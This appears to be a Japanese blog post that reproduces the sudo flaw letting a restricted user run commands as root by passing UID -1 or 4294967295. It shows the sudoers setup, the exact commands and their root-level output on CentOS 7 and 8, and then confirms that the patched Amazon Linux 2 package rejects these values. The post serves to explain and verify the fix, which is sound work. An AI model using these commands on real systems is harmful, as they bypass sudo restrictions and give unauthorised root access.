Skip to content

sudo で UID に「-1」または「4294967295」を指定すると root 権限でコマンド実行出来る脆弱性

sudo コマンドで UID に「-1」または「4294967295」を指定すると root 権限でコマンド実行出来る脆弱性が発見されたそうです。

実際に脆弱性を試してみます。

テスト環境

テストは CentOS7 と CentOS8 で実施しました。 バージョンは以下の通りです。

  • CentOS Linux release 7.7.1908 (Core)
    • sudo-1.8.23-4.el7.x86_64
  • CentOS Linux release 8.0.1905 (Core)
    • sudo-1.8.25p1-4.el8.x86_64

また、/etc/sudoers に下記が定義されているものとします。 !root なので /usr/bin/rebootroot 権限で実行出来ないように定義しています。

1
user1 ALL=(ALL,!root) /usr/sbin/reboot

結論

先にテスト結果をまとめておきます。 現時点では CentOS7 / 8 両者で同じ結果になりました。

No. sudo 実行時の -u オプション root 権限でコマンド実行出来たか? 意図した挙動か?
1 root 出来ない 問題無い
2 #0 出来ない 問題無い
3 #-1 出来る 意図しない挙動 (脆弱)
4 #-2 出来ない 問題無い
5 #4294967295 出来る 意図しない挙動 (脆弱)
6 #4294967296 出来ない 問題無い

4,294,967,295 は 2 の補数で考えると「-1」

この脆弱性では「-1」または「4,294,967,295」という数字が登場します。 32bit で考えた場合、「-1」を 2 の補数で表現すると「4,294,967,295」になります。 つまり、「-1」も「4,294,967,295」も sudo コマンドの内部的には同じ扱いをされている、と予想されます (時間あればソースコード読んでみます)。

ユーザ名 / UID を指定して sudo を実行する

sudo で実行するコマンドはユーザ名や UID を指定して実行することが可能です。

ユーザ名を指定する

sudo をユーザ名指定で実行するには以下のようにします。 -u オプションとユーザ名の間にはスペースを入れないようにします。

1
sudo -uUSERNAME COMMAND

user1 として id コマンドを実行したい場合は以下のようにします。

1
sudo -uuser1 id

UID を指定する

sudo を UID 指定で実行するには以下のように実施します。 -u に続けて # と UID を指定します。 各々の間にはスペースを入れないようにします。

1
sudo -u#UID COMMAND

UID 1000 として id コマンドを実行したい場合は以下のようにします。

1
sudo -u1000 id

reboot コマンドで再現テストしてみる

user1 でログインし、テストしていきます。

root ユーザ名指定 → 実行出来ない (OK)

root ユーザ名を指定しても実行出来ません。 これは意図した挙動です。

1
2
user1~$ sudo -uroot reboot
Sorry, user user1 is not allowed to execute '/sbin/reboot' as root on 192.168.1.1.

UID 0 (root) を指定 → 実行出来ない (OK)

UID 0 (root) を指定しても実行出来ません。 これは意図した挙動です。

1
2
user1~$ sudo -u#0 reboot
Sorry, user user1 is not allowed to execute '/sbin/reboot' as root on 192.168.1.1.

UID -1 (存在しないユーザ) を指定 → 実行出来る (NG)

UID -1 (存在しないユーザ) を指定すると root 権限でコマンド実行出来てしまいます… これは問題です。

1
2
user1~$ sudo -u#-1 reboot
Connection to 10.0.0.1 closed by remote host.

UID -2 (存在しないユーザ) を指定 → 実行出来ない (OK)

UID -2 (存在しないユーザ) を指定しても実行出来ません。 CentOS7 環境の場合はエラーハンドリング (値チェック) の実装が甘いような気もしますが、とりあえず「コマンドが実行出来ない」という観点では意図した挙動です。

1
2
3
4
5
6
7
user1~$ sudo -u#-2 reboot

(pkttyagent:3158): GLib-GObject-WARNING **: 23:22:47.463: value "-2" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
**
ERROR:pkttyagent.c:146:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
Failed to execute operation: Operation not permitted
Must be root.

CentOS8 環境の場合は以下のようになりました。 こちらも「コマンドが実行出来ない」という意味では意図した挙動です。

1
2
3
user1~$ sudo -u#-2 reboot
Failed to set wall message, ignoring: Access denied
Failed to reboot system via logind: Access denied

UID 4294967295 (存在しないユーザ) を指定 → 実行出来る (NG)

UID 4294967295 を指定すると root 権限でコマンド実行出来てしまいます… これも問題です。

1
2
user1~$ sudo -u#4294967295 reboot
Connection to 10.0.0.1 closed by remote host.

UID 4294967296 (存在しないユーザ) を指定 → 実行出来ない (OK)

UID 4294967296 (4294967295 + 1 した値) を指定しても実行出来ません。 これは意図した挙動です。

1
2
3
user1~$ sudo -u#4294967296 reboot
sudo: unknown user: #4294967296
sudo: unable to initialize policy plugin

id コマンドで挙動を確認する

この脆弱性の挙動は id コマンドを使うとよく分かります。 /etc/sudoers に以下を定義した上で id コマンドを使って挙動を確認します。 以下の定義により、user1root 権限で id コマンドを実行すると「失敗する」のが期待値です。

1
user1 ALL=(ALL,!root) /usr/bin/id

root ユーザ名指定 → UID 0 (OK)

実行に失敗します。 意図した挙動です。

1
2
user1~$ sudo -uroot /usr/bin/id
Sorry, user user1 is not allowed to execute '/usr/bin/id' as root on 192.168.1.1.

UID 0 (root) を指定 → UID 0 (OK)

実行に失敗します。 意図した挙動です。

1
2
user1~$ sudo -u#0 /usr/bin/id
Sorry, user user1 is not allowed to execute '/usr/bin/id' as root on 192.168.1.1.

UID -1 (存在しないユーザ) を指定 → UID 0 (NG)

ここが問題です。 -1 を指定した場合、UID 0 = root ユーザとして扱われ、しかも id コマンドの実行に成功してしまっています。 /etc/sudoers では id コマンドを root 権限で実行出来なくしているにも関わらず、root 権限で実行出来てしまっているのは「脆弱である」と言えます。

1
2
user1~$ sudo -u#-1 /usr/bin/id
uid=0(root) gid=1000(user1) groups=1000(user1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

UID -2 (存在しないユーザ) を指定 → UID 4294967294 (?)

-2 したことで UID が 4294967294 と表示されています。 実装が微妙な感じがします…

1
2
user1~$ sudo -u#-2 /usr/bin/id
uid=4294967294 gid=1000(user1) groups=1000(user1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

UID 4294967295 (存在しないユーザ) → UID 0 (NG)

ここも UID -1 を指定した場合と同じ挙動をしています。 -1 を指定した場合と同様、UID 0 = root ユーザとして扱われ、しかも id コマンドの実行に成功してしまっています。

1
2
user1~$ sudo -u#4294967295 /usr/bin/id
uid=0(root) gid=1000(user1) groups=1000(user1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

UID 4294967296 (存在しないユーザ) を指定 → unknown user (OK)

存在しない UID を指定しているので unknown user と表示されています。 これは意図した挙動です。

1
2
3
user1~$ sudo -u#4294967296 /usr/bin/id
sudo: unknown user: #4294967296
sudo: unable to initialize policy plugin

Amazon Linux2 の修正済みパッケージで動作確認してみる

Amazon Linux2 には修正済みパッケージが提供されいたので、動作確認してみました。 尚、現時点で Amazon Linux2 で提供されている、脆弱性修正済みパッケージは以下のバージョンでした。

  • sudo-1.8.23-4.amzn2.0.1.x86_64

UID -1 (存在しないユーザ) を指定 → エラー (OK)

UID -1 指定で id コマンドを実行すると、しっかり unknown user 扱いでエラーになっています。 これは意図した挙動であり、「脆弱性が修正されている」と言えます。

1
2
3
user1~$ sudo -u#-1 id
sudo: unknown user: #-1
sudo: unable to initialize policy plugin

UID 4294967295 (存在しないユーザ) → エラー (OK)

UID 4294967295 指定の場合も同様に、unknown user 扱いでエラーになりました。 これは意図した挙動であり、「脆弱性が修正されている」と言えます。

1
2
3
user1~$ sudo -u#4294967295 id
sudo: unknown user: #4294967295
sudo: unable to initialize policy plugin